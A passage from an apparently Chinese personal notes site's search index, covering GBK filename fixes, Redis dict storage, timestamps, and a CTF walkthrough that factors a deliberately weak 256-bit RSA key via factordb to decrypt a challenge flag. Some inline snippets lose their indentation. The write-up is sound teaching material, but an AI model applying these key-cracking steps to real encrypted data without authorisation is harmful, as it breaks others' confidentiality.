5305\\u554a\\uff01\\u6454\\uff01</p> <p>\\u6539\\u7528\\u4eba\\u5bb6fcli\\u7684Linux 64bit\\u7248\\u672c\\uff0c\\u95ee\\u9898\\u89e3\\u51b3\\u3002\\u3002\\u3002</p> <p>\\u603b\\u7ed3\\u4e00\\u4e0b\\uff0c\\u4e07\\u4e07\\u60f3\\u4e0d\\u5230Windows\\u7248\\u672c\\u7684\\u5de5\\u5177(\\u9488\\u5bf90.5\\u7248\\u672c)\\u4f1a\\u628a\\u8def\\u5f84\\u5206\\u9694\\u7b26<code>\\\\\\\\</code>\\u5f53\\u6210\\u6587\\u4ef6\\u540d\\u4e00\\u90e8\\u5206\\u6765\\u770b\\u5f85\\uff0c\\u771f\\u662f\\u5927\\u5f00\\u773c\\u754c</p>\"},{\"location\":\"Python/#linuxgbk\",\"title\":\"\\u4fee\\u590dLinux\\u4e0bgbk\\u7f16\\u7801\\u7684\\u6587\\u4ef6\\u540d\",\"text\":\"<p>\\u4ee3\\u7801\\u89c1code/fixgbknames.py</p> <p>\\u5728\\u7279\\u6b8a\\u60c5\\u51b5\\u4e0b\\uff0cLinux\\u4e2d\\u53ef\\u80fd\\u4f1a\\u6709gbk\\u7f16\\u7801\\u7684\\u6587\\u4ef6\\u540d\\uff0c\\u8fd9\\u79cd\\u6587\\u4ef6\\u7528<code>ls</code>\\u67e5\\u770b\\u90fd\\u662f\\u4e71\\u7801\\uff0c\\u96be\\u4ee5\\u64cd\\u4f5c</p> <p>\\u5982\\u4f55\\u4fee\\u590d\\u8fd9\\u4e9b<code>\\u9519\\u8bef</code>\\u7684\\u6587\\u4ef6\\u540d\\u5462\\uff1f\\u7528\\u5230<code>python3</code>\\u63d0\\u4f9b\\u7684os.walk(b\\u201d.\\u201d)\\u5c31\\u80fd\\u5f97\\u5230bytes\\u7c7b\\u578b\\u7684\\u6587\\u4ef6\\u540d\\uff0c\\u7136\\u540e<code>os.system</code>\\u8c03\\u7528bytes\\u7c7b\\u578b\\u7684<code>mv</code>\\u547d\\u4ee4\\u884c\\u5c31\\u597d\\u5566~</p>\"},{\"location\":\"Python/#crack-rsa\",\"title\":\"Crack RSA!\",\"text\":\"\"},{\"location\":\"Python/#_8\",\"title\":\"\\u9898\\u76ee\\u4fe1\\u606f\",\"text\":\"<p>\\u9898\\u76ee\\u6765\\u6e90\\uff1a\\u6e05\\u534e\\u84dd\\u83b2\\u82b1\\u6218\\u961f\\u7eb3\\u65b0\\u8868\\uff08\\u9700\\u81ea\\u5907\\u68af\\u5b50\\uff09</p> <p>\\u5bc6\\u7801\\u5b66 (Cryptography)</p> <p>RSA\\u7b97\\u6cd5\\u7684\\u539f\\u7406\\u4ee5\\u53ca\\u7834\\u89e3\\uff0c\\u8bf7\\u4e0b\\u8f7d\\u8fd9\\u4e2a\\u6587\\u4ef6\\uff0c\\u89e3\\u5bc6\\u5176\\u4e2d\\u7684flag.enc\\u6587\\u4ef6\\u3002</p>\"},{\"location\":\"Python/#rsa\",\"title\":\"RSA\\u662f\\u5565\",\"text\":\"<p>\\u7565\\u2026(\\u8fde\\u8fd9\\u4e2a\\u90fd\\u4e0d\\u77e5\\u9053\\u8fd8\\u4e0d\\u53bbgoogle\\uff0c\\u4f60\\u9002\\u4e0d\\u9002\\u5408CTF\\u5fc3\\u91cc\\u4e00\\u70b9B\\u6570\\u90fd\\u6ca1\\u6709\\u5417)</p> <p>\\u7b26\\u53f7\\u7ea6\\u5b9a\\uff1a n\\u4e00\\u4e2a\\u5927\\u6570\\uff0c p\\u548cq\\u662f\\u5b83\\u7684\\u8d28\\u56e0\\u5b50\\uff0cd\\u79c1\\u94a5\\uff0cm\\u4fe1\\u606f\\u660e\\u6587\\uff0cc\\u4fe1\\u606f\\u5bc6\\u6587</p>\"},{\"location\":\"Python/#_9\",\"title\":\"\\u7834\\u89e3\\u7684\\u6570\\u5b66\\u539f\\u7406\",\"text\":\"<p>\\u53c2\\u8003\\uff1ahttps://stackoverflow.com/questions/4078902/cracking-short-rsa-keys</p> <p>Google\\u641c\\u7d22\\u5173\\u952e\\u8bcd crack rsa key</p> <p>\\u7ed9\\u5b9a\\u516c\\u94a5n\\u548ce\\uff0c\\u5047\\u5b9a\\u6211\\u4eec\\u6210\\u529f\\u5206\\u89e3n = p * q\\uff0c\\u90a3\\u4e48\\u6c42\\u51fad</p> <pre><code>d = e^-1 mod phi(n)\\n  = e^-1 mod (p-1)*(q-1)\\n</code></pre> <p>\\u73b0\\u5728\\u6211\\u4eec\\u6709\\u4e86\\u79c1\\u94a5d\\uff0c\\u53ef\\u4ee5\\u5bf9\\u5bc6\\u6587c\\u89e3\\u5bc6\\u5f97\\u5230\\u660e\\u6587m\\uff1a</p> <pre><code>m = c^d (mod n)\\n</code></pre>\"},{\"location\":\"Python/#_10\",\"title\":\"\\u5b9e\\u73b0\\u5b83\",\"text\":\"\"},{\"location\":\"Python/#ne\",\"title\":\"\\u9898\\u76ee\\u7ed9\\u7684\\u516c\\u94a5\\u662f\\u5565\\u683c\\u5f0f\\uff0c\\u600e\\u4e48\\u8bfb\\u53d6\\u51faN\\u548ce?\",\"text\":\"<p>\\u9898\\u76ee\\u7ed9\\u7684\\u516c\\u94a5\\u662f\\u8fd9\\u6837\\u7684\\uff1a</p> <pre><code>-----BEGIN PUBLIC KEY-----\\nMDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAMgVHv67DCP6oRAiQJxaEuSluWmE5iZb\\ne+fuqvuwBPUfAgMBAAE=\\n-----END PUBLIC KEY-----\\n</code></pre> <p>\\u770b\\u8d77\\u6765\\u5f88\\u77ed\\uff0c\\u4f30\\u8ba1\\u662f\\u53ef\\u4ee5\\u5206\\u89e3\\u7684\\u6bd4\\u8f83\\u5c0f\\u7684N</p> <p>google\\u641c\\u7d22\\u5173\\u952e\\u8bcd\\uff1aopenssl get n from public key</p> <p>\\u53c2\\u8003\\uff1ahttps://stackoverflow.com/questions/3116907/rsa-get-exponent-and-modulus-given-a-public-key</p> <p>\\u4eba\\u5bb6\\u7ed9\\u51fa\\u4e86\\u8fd9\\u6837\\u7684\\u505a\\u6cd5\\uff1a(\\u73af\\u5883Linux\\uff0c\\u5df2\\u7ecf\\u5b89\\u88c5openssl)</p> <pre><code># \\u4e22\\u5f03\\u5934\\u5c3e\\u7684---\\u884c\\uff0c\\u63d0\\u53d6\\u516c\\u94a5\\u5185\\u5bb9\\u5e76\\u5408\\u5e76\\u4e00\\u884c\\uff08\\u8fd9\\u662fbase64\\u7f16\\u7801\\u7684\\u5b57\\u7b26\\u4e32\\uff09\\nPUBKEY=`grep -v -- ----- public.pem | tr -d '\\\\n'`\\n# \\u7f16\\u7801\\u683c\\u5f0f\\u662fasn1\\uff0c\\u67e5\\u770b\\u8fd9\\u79cd\\u7f16\\u7801\\u7684\\u683c\\u5f0f\\necho $PUBKEY | base64 -d | openssl asn1parse -inform DER -i\\n</code></pre> <p>\\u5c06\\u8f93\\u51fa\\uff1a</p> <pre><code>    0:d=0  hl=2 l=  60 cons: SEQUENCE\\n    2:d=1  hl=2 l=  13 cons:  SEQUENCE\\n    4:d=2  hl=2 l=   9 prim:   OBJECT            :rsaEncryption\\n   15:d=2  hl=2 l=   0 prim:   NULL\\n   17:d=1  hl=2 l=  43 prim:  BIT STRING\\n</code></pre> <p>\\u6700\\u540e\\u4e00\\u884cBIT STRING\\u5c31\\u662f\\u6570\\u636e\\u6240\\u5728\\u7684\\u4f4d\\u7f6e\\uff0c\\u504f\\u79fb\\u4e3a17</p> <p>\\u63d0\\u53d6\\u51fa\\u6765\\uff1a</p> <pre><code>echo $PUBKEY | base64 -d | openssl asn1parse -inform DER -i -strparse 17\\n</code></pre> <p>\\u5f97\\u5230\\uff1a</p> <pre><code>    0:d=0  hl=2 l=  40 cons: SEQUENCE\\n    2:d=1  hl=2 l=  33 prim:  INTEGER           :C8151EFEBB0C23FAA11022409C5A12E4A5B96984E6265B7BE7EEAAFBB004F51F\\n   37:d=1  hl=2 l=   3 prim:  INTEGER           :010001\\n</code></pre> <p>\\u55ef~\\u8fd9\\u6837\\u5c31\\u770b\\u5230\\u5341\\u516d\\u8fdb\\u5236\\u7684n\\u548ce\\u5566\\uff0c\\u8f6c\\u4e3a\\u5341\\u8fdb\\u5236\\u7684\\u8bddpython\\u91cc\\u9762\\u76f4\\u63a5\\u8f93\\u5165:</p> <pre><code>n = 0xC8151EFEBB0C23FAA11022409C5A12E4A5B96984E6265B7BE7EEAAFBB004F51F\\nprint(n) \\n</code></pre> <p>\\u4e0a\\u8ff0python\\u6267\\u884c\\u540e\\u5c06\\u8f93\\u51fa</p> <p>90499887424928873790510606439768063703452393541528122252967476339871041516831</p> <p>\\u540c\\u7406\\u6211\\u4eec\\u5f97\\u77e5e=65537\\uff0c\\u4e00\\u822cRSA\\u52a0\\u5bc6\\u90fd\\u4f1a\\u628a\\u516c\\u94a5\\u7684e\\u9009\\u4e3a65537</p>\"},{\"location\":\"Python/#n-pq\",\"title\":\"\\u600e\\u4e48\\u5206\\u89e3n \\u5f97\\u5230p\\u548cq\\uff1f\",\"text\":\"<p>\\u4f60\\u53ef\\u4ee5\\u81ea\\u5df1\\u5199\\u4ee3\\u7801\\uff0c\\u7136\\u800c\\u6211\\u61d2\\uff0c\\u76f4\\u63a5\\u67e5\\u6570\\u636e\\u5e93\\uff1a</p> <p>\\u6253\\u5f00factordb.com\\u8fd9\\u4e2a\\u795e\\u5947\\u7684\\u7f51\\u7ad9\\uff0c\\u8f93\\u5165n\\u7684\\u503c\\u5c31\\u80fd\\u67e5\\u5230\\u5206\\u89e3\\u7ed3\\u679c\\u5566\\uff1a</p> <p>http://factordb.com/index.php?query=90499887424928873790510606439768063703452393541528122252967476339871041516831</p> <p>\\u5206\\u89e3\\u7ed3\\u679c\\uff1a</p> <pre><code>9049988742...31&lt;77&gt; = 283194537446483890135816972554288437117&lt;39&gt; \\u00b7 319567913424286672035093410391626922443&lt;39&gt;\\n</code></pre> <p>\\u597d\\u4e86\\uff0c\\u6211\\u4eec\\u5c31\\u77e5\\u9053 p q\\u4e86\\uff0c\\u5177\\u4f53\\u54ea\\u4e2a\\u662fp\\u54ea\\u4e2a\\u662fq\\u5e76\\u4e0d\\u91cd\\u8981</p> <p>p=283194537446483890135816972554288437117, q=319567913424286672035093410391626922443</p>\"},{\"location\":\"Python/#d\",\"title\":\"\\u600e\\u4e48\\u8ba1\\u7b97\\u79c1\\u94a5d\",\"text\":\"<p>\\u6839\\u636eRSA\\u539f\\u7406\\uff0c d = e^-1 mod (p-1)*(q-1)\\uff0c \\u73b0\\u5728\\u6211\\u4eec\\u6709\\u4e86p\\u548cq\\uff0cmod\\u540e\\u9762\\u7684(p-1)*(q-1)\\u81ea\\u7136\\u662f\\u53ef\\u4ee5\\u6c42\\u51fa\\u6765\\u7684</p> <p>\\u4f46e^-1\\u662f\\u4e2a\\u5565\\u73a9\\u610f\\uff1f\\u5012\\u6570\\uff1f \\u5012\\u6570\\u8fd8\\u80fd\\u6c42\\u6a21\\uff1f</p> <p>emmm \\u5176\\u5b9e\\u662f\\u6c42\\u9006\\u5143\\u5566 \\u7136\\u800c\\u4e0d\\u4f1a\\u5199\\u4ee3\\u7801\\u600e\\u4e48\\u529e\\uff0c\\u5f53\\u65f6\\u662f\\u7ee7\\u7eedgoogle\\u554a</p> <p>google\\u5173\\u952e\\u8bcd\\uff1a python calculate inverse mod</p> <p>\\u53c2\\u8003\\uff1ahttps://stackoverflow.com/questions/4798654/modular-multiplicative-inverse-function-in-python</p> <p>\\u5f97\\u5230\\u4ee3\\u7801\\uff1a</p> <pre><code>def egcd(a, b):\\n    if a == 0:\\n        return (b, 0, 1)\\nelse:\\n        g, y, x = egcd(b % a, a)\\nreturn (g, x - (b // a) * y, y)\\n\\ndef modinv(a, m):\\n    g, x, y = egcd(a, m)\\nif g != 1:\\n        raise Exception('modular inverse does not exist')\\nelse:\\n        return x % m\\n</code></pre> <p>\\u770b\\u4e0d\\u61c2\\u8fd9\\u4ee3\\u7801\\u5728\\u5e72\\u5565\\uff1f\\u6211\\u4e5f\\u770b\\u4e0d\\u61c2\\uff0c\\u4f46\\u6ca1\\u5173\\u7cfb\\uff0c\\u76f4\\u63a5\\u7528\\u5c31\\u884c \\u8fd9\\u4e48\\u591a\\u4eba\\u70b9\\u8d5e\\u80af\\u5b9a\\u662f\\u5bf9\\u7684</p> <p>\\u90a3\\u73b0\\u5728\\u5c31\\u7740\\u624b\\u628a\\u8fd9\\u4ee3\\u7801\\u642c\\u8fd0\\u5230\\u6211\\u4eec\\u7684py\\u4e2d\\u54af\\uff1a</p> <pre><code>N = 0xC8151EFEBB0C23FAA11022409C5A12E4A5B96984E6265B7BE7EEAAFBB004F51F\\ne = 0x10001\\n\\np = 283194537446483890135816972554288437117\\nq = 319567913424286672035093410391626922443\\n\\ndef egcd(a, b):\\n    if a == 0:\\n        return (b, 0, 1)\\nelse:\\n        g, y, x = egcd(b % a, a)\\nreturn (g, x - (b // a) * y, y)\\n\\ndef modinv(a, m):\\n    g, x, y = egcd(a, m)\\nif g != 1:\\n        raise Exception('modular inverse does not exist')\\nelse:\\n        return x % m\\n\\nd = modinv(e, (p-1)*(q-1))\\nprint(d)\\n</code></pre> <p>\\u4e0a\\u8ff0python\\u5c06\\u8f93\\u51fa34458919248694250828820386546500026880096887166581679876896066449320377773297\\uff0c \\u771f\\u662f\\u4e00\\u4e2a\\u597d\\u5927\\u7684d\\u554a\\u3002\\u3002\\u3002</p>\"},{\"location\":\"Python/#flagencint\",\"title\":\"\\u600e\\u4e48\\u628aflag.enc\\u5f53\\u6210\\u4e00\\u4e2aint\\u8bfb\\u5165\\uff1f\",\"text\":\"<p>\\u8bd5\\u56fe\\u7528\\u8bb0\\u4e8b\\u672c\\u6253\\u5f00flag.enc\\uff0c\\u4e71\\u7801\\u4e86\\uff1b\\u90a3\\u7528\\u4e8c\\u8fdb\\u5236\\u5f62\\u5f0f\\u6253\\u5f00flag.inc\\u6587\\u4ef6\\u770b\\u770b\\uff1a </p> <p>emmm\\u4e00\\u517132\\u5b57\\u8282\\u957f\\u7684\\u5bc6\\u6587\\uff0c\\u76f4\\u63a5\\u8bfb\\u6587\\u4ef6\\u5c06\\u5f97\\u5230bytes strig\\uff0c\\u600e\\u4e48\\u628a\\u5b83\\u8f6c\\u4e3a\\u4e00\\u4e2a\\u5f88\\u5927\\u7684\\u6574\\u6570\\u5462\\uff1f</p> <p>google\\u5173\\u952e\\u8bcd\\uff1a python byte string to int</p> <p>\\u53c2\\u8003\\uff1ahttps://stackoverflow.com/questions/444591/convert-a-string-of-bytes-into-an-int-python</p> <p>\\u4eba\\u5bb6\\u7ed9\\u51fa\\u4e86python3.2\\u4ee5\\u540e\\u53ef\\u4ee5\\u7528int.from_bytes\\u7684\\u65b9\\u5f0f\\uff0c\\u7ee7\\u7eed\\u5199\\u6211\\u4eec\\u7684py\\u54af\\uff1a</p> <pre><code>encrypteddata = open('flag.enc','rb').read()\\nc = int.from_bytes(encrypteddata, 'big')\\nprint(c)\\n</code></pre> <p>\\u8fd9\\u91cc\\u7684\\u2019big\\u2019\\u8868\\u793a\\u5927\\u7aef\\u5b58\\u653e\\u7684\\u65b9\\u5f0f\\uff0c\\u5c31\\u662f\\u6700\\u91cd\\u8981\\u7684\\u90a3\\u4e00\\u4f4d\\u662f\\u9760\\u5de6\\u8fb9\\u7684</p> <p>\\u63d2\\u4e00\\u53e5\\uff1a\\u901a\\u8fc7\\u8be2\\u95ee\\u5176\\u4ed6\\u5927\\u4f6c\\uff0c\\u6211\\u4e5f\\u6298\\u817e\\u51fa\\u4e86\\u4e00\\u79cdnaive\\u7684\\u65b9\\u6cd5\\u2014\\u2014\\u4f7f\\u7528binascii\\u6a21\\u5757\\u5148\\u8f6c\\u4e3ahex\\u7f16\\u7801\\uff0c\\u7136\\u540ehex\\u630916\\u5b57\\u8282\\u8f6cint:</p> <pre><code>encrypteddata = open('flag.enc','rb').read()\\nimport binascii\\nc = int(binascii.b2a_hex(encrypteddata).decode(),16)\\nprint(c)\\n</code></pre>\"},{\"location\":\"Python/#_11\",\"title\":\"\\u8ba1\\u7b97\\u660e\\u6587\",\"text\":\"<p>\\u516c\\u5f0f\\uff08\\u5bc6\\u7801\\u5b66\\u80af\\u5b9a\\u8981\\u8003\\u7684\\uff0c\\u6240\\u4ee5\\u518d\\u8bb0\\u4e00\\u6b21\\u54af\\uff09</p> <pre><code>m = c^d (mod n)\\n</code></pre> <p>\\u95ee\\u9898\\u6765\\u4e86\\uff0cd\\u662f\\u4e2a\\u90a3\\u4e48\\u5927\\u7684\\u6570\\uff0c\\u5982\\u679c\\u76f4\\u63a5\\u5199\\u4e00\\u4e2a\\uff1a</p> <pre><code># \\u5728python\\u91cc**\\u8868\\u793a\\u4e58\\u65b9\\nm = (c**d)%n\\n</code></pre> <p>\\u679c\\u7136\\u8fd0\\u884c\\u8fd9\\u4e2apy\\u5c31\\u5361\\u6b7b\\u4e86\\uff0c\\u5b9e\\u9645\\u4e0a\\u5e76\\u6ca1\\u6709\\u5fc5\\u8981\\u7b97\\u51fa\\u7cbe\\u786e\\u7684c**d\\uff0c\\u6211\\u4eec\\u9700\\u8981\\u8c03\\u7528\\u5feb\\u901f\\u7684mod\\u4e58\\u65b9\\u7684\\u65b9\\u6cd5</p> <p>google\\u5173\\u952e\\u8bcd\\uff1a python mod pow</p> <p>\\u53c2\\u8003\\uff1ahttps://stackoverflow.com/questions/32738637/calculate-mod-using-pow-function-python</p> <p>\\u4eba\\u5bb6\\u8bf4pow\\u51fd\\u6570\\u5c31\\u53ef\\u4ee5\\u63d0\\u4f9b\\u7b2c3\\u4e2a\\u53c2\\u6570\\uff0c\\u4f8b\\u5982pow(6, 8, 5)\\u5c31\\u662f 6^8 mod 5</p> <p>\\u90a3\\u5c31\\u5199\\u4ee3\\u7801\\u54af(\\u778e\\u5199\\uff0cC\\u8bed\\u8a00\\u7684pow\\u9700\\u8981#include  \\u90a3\\u6211\\u5c31\\u4e5f\\u4ecemath\\u5bfc\\u5165\\u5427)\\uff1a <pre><code>from math import pow\\nm = pow(c,d,n)\\n</code></pre> <p>\\u7136\\u800c\\u547d\\u9014\\u591a\\u821b\\uff0c\\u679c\\u7136\\u62a5\\u9519\\uff1a</p> <pre><code>Traceback (most recent call last):\\n  File \\\"run.py\\\", line 35, in &lt;module&gt;\\n    m = pow(c,d,n)\\nTypeError: pow expected 2 arguments, got 3\\n</code></pre> <p>emmm\\u2026 \\u5947\\u4e86\\u602a\\u4e86\\uff0c\\u8fd9\\u662f\\u4ec0\\u4e48\\u9b3c\\u561b\\uff0c\\u8bf4\\u597d\\u7684\\u652f\\u6301\\u7b2c\\u4e09\\u4e2a\\u53c2\\u6570\\u5462\\uff0c\\u7ffb\\u56de\\u53bb\\u4ed4\\u7ec6\\u770b\\u4eba\\u5bb6\\u7ed9\\u7684\\u6587\\u6863\\u94fe\\u63a5</p> <p>\\u55ef\\uff1f\\u8fd9\\u6587\\u6863\\u7684\\u6807\\u9898\\u5c31\\u662fBuilt-in Functions\\uff0c\\u6211\\u61c2\\u4e86\\uff01 \\u652f\\u6301\\u7b2c\\u4e09\\u4e2a\\u53c2\\u6570\\u7684pow\\u51fd\\u6570\\u662f\\u5185\\u7f6e\\u7684\\u90a3\\u4e2a\\uff0c\\u800c\\u4e0d\\u662fmath\\u5e93\\u63d0\\u4f9b\\u7684\\uff0c\\u5220\\u6389<code>from math import pow</code>\\u8fd9\\u4e00\\u53e5\\u5c31\\u597d\\u4e86</p> <p>\\u6211\\u4eec\\u7684py\\u53c8\\u52a0\\u4e0a\\u4e86\\u4e24\\u884c\\uff1a</p> <pre><code>m = pow(c,d,n)\\nprint(m)\\n</code></pre> <p>\\u5f97\\u5230\\u8f93\\u51fa 4114174865819530012247735243997890458185276719507135882385278623252053258</p>\"},{\"location\":\"Python/#flag\",\"title\":\"\\u660e\\u6587\\u8fd9\\u4e48\\u4e00\\u4e2a\\u5927\\u6570 \\u6211\\u8981\\u7684flag\\u5462\\uff1f\",\"text\":\"<p>cy\\u6253\\u5f00\\u4e86\\u4ed6\\u7684\\u7b14\\u8bb0\\u672c https://py3.io/Python.html#bytes</p> <p>\\u67e5\\u5230\\u4e86 \\u5341\\u516d\\u8fdb\\u5236\\u5b57\\u7b26\\u4e32\\u8f6cbytes\\u5b57\\u7b26\\u4e32 \\u548c \\u62ff\\u5230\\u4e00\\u4e2aint\\u8f6c\\u5b57\\u7b26\\u4e32 \\u7684\\u65b9\\u6cd5\\uff1a</p> <pre><code>from base64 import b16decode\\nprint( b16decode( hex(m)[2:].upper() ) )\\n</code></pre> <p>\\u679c\\u7136 \\u53c8tm\\u51fa\\u9519\\u4e86\\uff1a</p> <pre><code>Traceback (most recent call last):\\n  File \\\"run.py\\\", line 37, in &lt;module&gt;\\nprint( b16decode( hex(m)[2:].upper() ) )\\nFile \\\"/usr/lib/python3.5/base64.py\\\", line 276, in b16decode\\nreturn binascii.unhexlify(s)\\nbinascii.Error: Odd-length string\\n</code></pre> <p>odd-length\\u5565\\u610f\\u601d\\uff1f\\u5947\\u6570\\u957f\\u5ea6\\uff1f\\u5bf9\\u5662 \\u5341\\u516d\\u8fdb\\u5236\\u5b57\\u7b26\\u4e32\\u80af\\u5b9a\\u8981\\u5076\\u6570\\u957f\\u5ea6\\u624d\\u884c\\uff08\\u4e24\\u4e2a\\u4e00\\u7ec4\\u8868\\u793a\\u4e00\\u4e2a\\u5b57\\u8282\\u561b\\uff09 \\u90a3\\u4e48\\u5c31\\u524d\\u9762\\u8865\\u4e2a0\\u54af</p> <p>py\\u4ee3\\u7801\\u5982\\u4e0b\\uff1a\\uff08\\u5176\\u5b9e\\u4f60\\u4e5f\\u53ef\\u4ee5\\u8bd5\\u8bd5int.to_bytes\\u65b9\\u6cd5\\uff09</p> <pre><code>plaindata = hex(m)[2:].upper()\\nif len(plaindata)%2 :\\n    plaindata = \\\"0\\\"+plaindata\\nprint(b16decode(plaindata))\\n</code></pre> <p>\\u8f93\\u51fa\\uff1a</p> <pre><code>b'\\\\x02T\\\\x1b:(\\\\x02\\\\xb9\\\\x8c8\\\\xbb\\\\x00CTF{256i3_n0t_SAfe}\\\\n'\\n</code></pre> <p>\\u554a\\u54c8\\uff01 \\u603b\\u7b97\\u80fd\\u641e\\u5b9a\\u5566\\uff0cflag\\u5230\\u624b\\uff01</p>\"},{\"location\":\"Python/#_12\",\"title\":\"\\u5b8c\\u6574\\u7684\\u4ee3\\u7801\",\"text\":\"<pre><code># parse public key: https://stackoverflow.com/questions/3116907/rsa-get-exponent-and-modulus-given-a-public-key\\n# PUBKEY=`grep -v -- ----- public.pem | tr -d '\\\\n'`\\n# echo $PUBKEY | base64 -d | openssl asn1parse -inform DER -i\\n# echo $PUBKEY | base64 -d | openssl asn1parse -inform DER -i -strparse 17\\n\\n\\nn = 0xC8151EFEBB0C23FAA11022409C5A12E4A5B96984E6265B7BE7EEAAFBB004F51F\\ne = 0x10001\\nprint(n)\\n# visit http://factordb.com/index.php?query=90499887424928873790510606439768063703452393541528122252967476339871041516831\\np = 283194537446483890135816972554288437117\\nq = 319567913424286672035093410391626922443\\n\\ndef egcd(a, b):\\n    if a == 0:\\n        return (b, 0, 1)\\n    else:\\n        g, y, x = egcd(b % a, a)\\n        return (g, x - (b // a) * y, y)\\n\\ndef modinv(a, m):\\n    g, x, y = egcd(a, m)\\n    if g != 1:\\n        raise Exception('modular inverse does not exist')\\n    else:\\n        return x % m\\nd = modinv(e, (p-1)*(q-1))\\nprint(d)\\nencrypteddata = open('flag.enc','rb').read()\\nimport binascii\\nc = int(binascii.b2a_hex(encrypteddata).decode(),16)\\nprint(c)\\nc = int.from_bytes(encrypteddata, 'big')\\nprint(c)\\nm = pow(c,d,n)\\nprint(m)\\nfrom base64 import b16decode\\nplaindata = hex(m)[2:].upper()\\nif len(plaindata)%2 :\\n    plaindata = \\\"0\\\"+plaindata\\n\\nprint(b16decode(plaindata))\\n</code></pre>\"},{\"location\":\"Python/#_13\",\"title\":\"\\u65f6\\u95f4\\u6233\\u4e0e\\u5b57\\u7b26\\u4e32\\u76f8\\u4e92\\u8f6c\\u6362\",\"text\":\"<p>import time</p> <p>\\u5f97\\u5230\\u5f53\\u524d\\u65f6\\u95f4\\u6233\\uff1a int(time.time())</p> <p>\\u5f97\\u5230\\u5f53\\u524d\\u65f6\\u95f4\\u5b57\\u7b26\\u4e32\\uff1atime.strftime(\\u201c%Y-%m-%d %H:%M:%S\\u201d)</p> <p>\\u65f6\\u95f4\\u62331381419600\\u8f6c\\u5b57\\u7b26\\u4e32\\uff1atime.strftime(\\u201c%Y-%m-%d %H:%M:%S\\u201d, time.localtime(1381419600))</p> <p>\\u5b57\\u7b26\\u4e32\\u201d2013-10-10 23:40:00\\u201d\\u8f6c\\u65f6\\u95f4\\u6233\\uff1aint(time.mktime(time.strptime(\\u201c2013-10-10 23:40:00\\u201d,\\u201d%Y-%m-%d %H:%M:%S\\u201d)))</p>\"},{\"location\":\"Python/#redis\",\"title\":\"\\u7528redis\\u5b58\\u50a8\\u5b57\\u5178\",\"text\":\"<p>\\u5047\\u8bbe\\u5b58\\u50a8\\u4e00\\u4e2a\\u7528\\u6237\\u540d\\u5bf9\\u5e94\\u7528\\u6237ID\\u7684\\u5b57\\u5178\\uff0c\\u540d\\u79f0\\u4e3aUSERS\\uff0c\\u4f8b\\u5982{\\u201czhangsan\\u201d:1, \\u201clisi\\u201d:2}</p> <pre><code>import redis\\nr = redis.StrictRedis(host='localhost', port=6379, db=1) #db\\u53c2\\u6570\\u53ef\\u4ee5\\u7406\\u89e3\\u4e3a\\u547d\\u540d\\u7a7a\\u95f4\\nassert r.ping() # \\u662f\\u5426\\u6210\\u529f\\u8fde\\u4e0a\\n\\nUSERS = {\\\"zhangsan\\\":1, \\\"lisi\\\":2}\\n\\n# \\u5b58\\u50a8\\u5b57\\u5178\\nr.hmset(\\\"USERS\\\", USERS)\\n\\n# \\u83b7\\u5f97\\u5df2\\u7ecf\\u5b58\\u50a8\\u7684\\u5b57\\u5178\\u91cc\\u9762\\u6709\\u54ea\\u4e9b\\u952e\\uff0c\\u8fd4\\u56debytes\\u7684list\\nKEYS = r.hkeys(\\\"USERS\\\") \\n\\n# \\u83b7\\u5f97\\u6574\\u4e2a\\u5b57\\u5178\\u5e76\\u8f6c\\u6362\\u56de\\u539f\\u6765\\u7684\\u7c7b\\u578b\\nUSERS1 = {i.decode():int(j) for i,j in r.hgetall(\\\"USERS\\\").items()}\\n\\n# \\u4fee\\u6539\\u5b57\\u5178\\u4e2d\\u4e00\\u4e2akey\\u7684value\\nr.hset(\\\"USERS\\\",\\\"zhangsan\\\",3)\\n\\n# \\u5220\\u9664\\u5b58\\u50a8\\u7684\\u5b57\\u5178\\uff0c\\u53ea\\u80fd\\u4e00\\u4e2a\\u4e2a\\u5220\\uff0c\\u5148\\u8981hkeys\\u83b7\\u53d6\\u6709\\u54ea\\u4e9b\\u952e\\n_=[r.hdel(\\\"USERS\\\", key) for key in r.hkeys(\\\"USERS\\\") ]\\n\\n# \\u626b\\u63cf\\u5f0f\\u83b7\\u5f97\\u5df2\\u7ecf\\u5b58\\u50a8\\u7684\\u5b57\\u5178\\u91cc\\u9762\\u6709\\u54ea\\u4e9b\\u952e\\n## \\u5982\\u679c\\u5b57\\u5178\\u91cc\\u9762\\u5b58\\u50a8\\u4e86\\u592a\\u591a\\u4e1c\\u897f\\uff0c\\u6267\\u884cKEYS\\u4f1a\\u5361\\u4f4f\\u6574\\u4e2aredis\\uff0c\\u7528hscan\\u662f\\u66f4\\u597d\\u7684\\u9009\\u62e9\\n## \\u8fd9\\u91cc\\u5148\\u751f\\u6210\\u4e00\\u4e2a\\u6bd4\\u8f83\\u5927\\u7684\\u5b57\\u5178\\u5b58\\u8fdb\\u53bb\\nimport random, string\\nrandomstr = lambda n: \\\"\\\".join(random.sample(string.ascii_letters, n))\\nUSERS = {randomstr(10): random.randint(1,10000) for _ in range(10000)} # \\u751f\\u6210\\u4e00\\u4e2a1w\\u6761\\u8bb0\\u5f55\\u7684\\u5b57\\u5178\\nr.hmset(\\\"USERS\\\", USERS) # \\u5b58\\u8fdb\\u53bb\\n\\n## \\u5faa\\u73afhscan\\ncursor, result = r.hscan(\\\"USERS\\\")\\nwhile cursor:\\n    cursor, tmp = r.hscan(\\\"USERS\\\", cursor)\\n    result.update(tmp)\\n\\nUSERS2 = {i.decode():int(j) for i,j in result.items()} #\\u4ecebytes\\u8f6c\\u4e3a\\u539f\\u6765\\u7684\\u683c\\u5f0f\\nassert USERS==USERS2 #\\u5b58\\u8fdb\\u53bb\\u7684\\u4e0e\\u53d6\\u51fa\\u6765\\u7684\\u5e94\\u8be5\\u76f8\\u540c\\n</code></pre>\"},{\"location\":\"Python/#nexushd\",\"title\":\"\\u642c\\u8fd0\\u79cd\\u5b50 \\u4ece\\u5317\\u90ae\\u4eba\\u642c\\u8fd0\\u5230NexusHD\",\"text\":\"<p>\\u4ee3\\u7801\\uff1a code/autoseed_byr2nhd.py</p> <p>\\u4f9d\\u8d56\\u4e8eEasyLogin\\uff0c\\u4ee5\\u53ca <code>pip3 install transmissionrpc python-resize-image</code></p> <p>\\u8fd0\\u884c\\u9700\\u8981\\u63d0\\u4f9bbyr\\u548cNHD\\u7684\\u767b\\u5f55cookie\\uff0c\\u4ee5\\u53catransmission\\u8fde\\u63a5\\u4fe1\\u606f</p>\"},{\"location\":\"Python/#python-seleniumdocker-chrome-headless\",\"title\":\"python selenium+Docker chrome 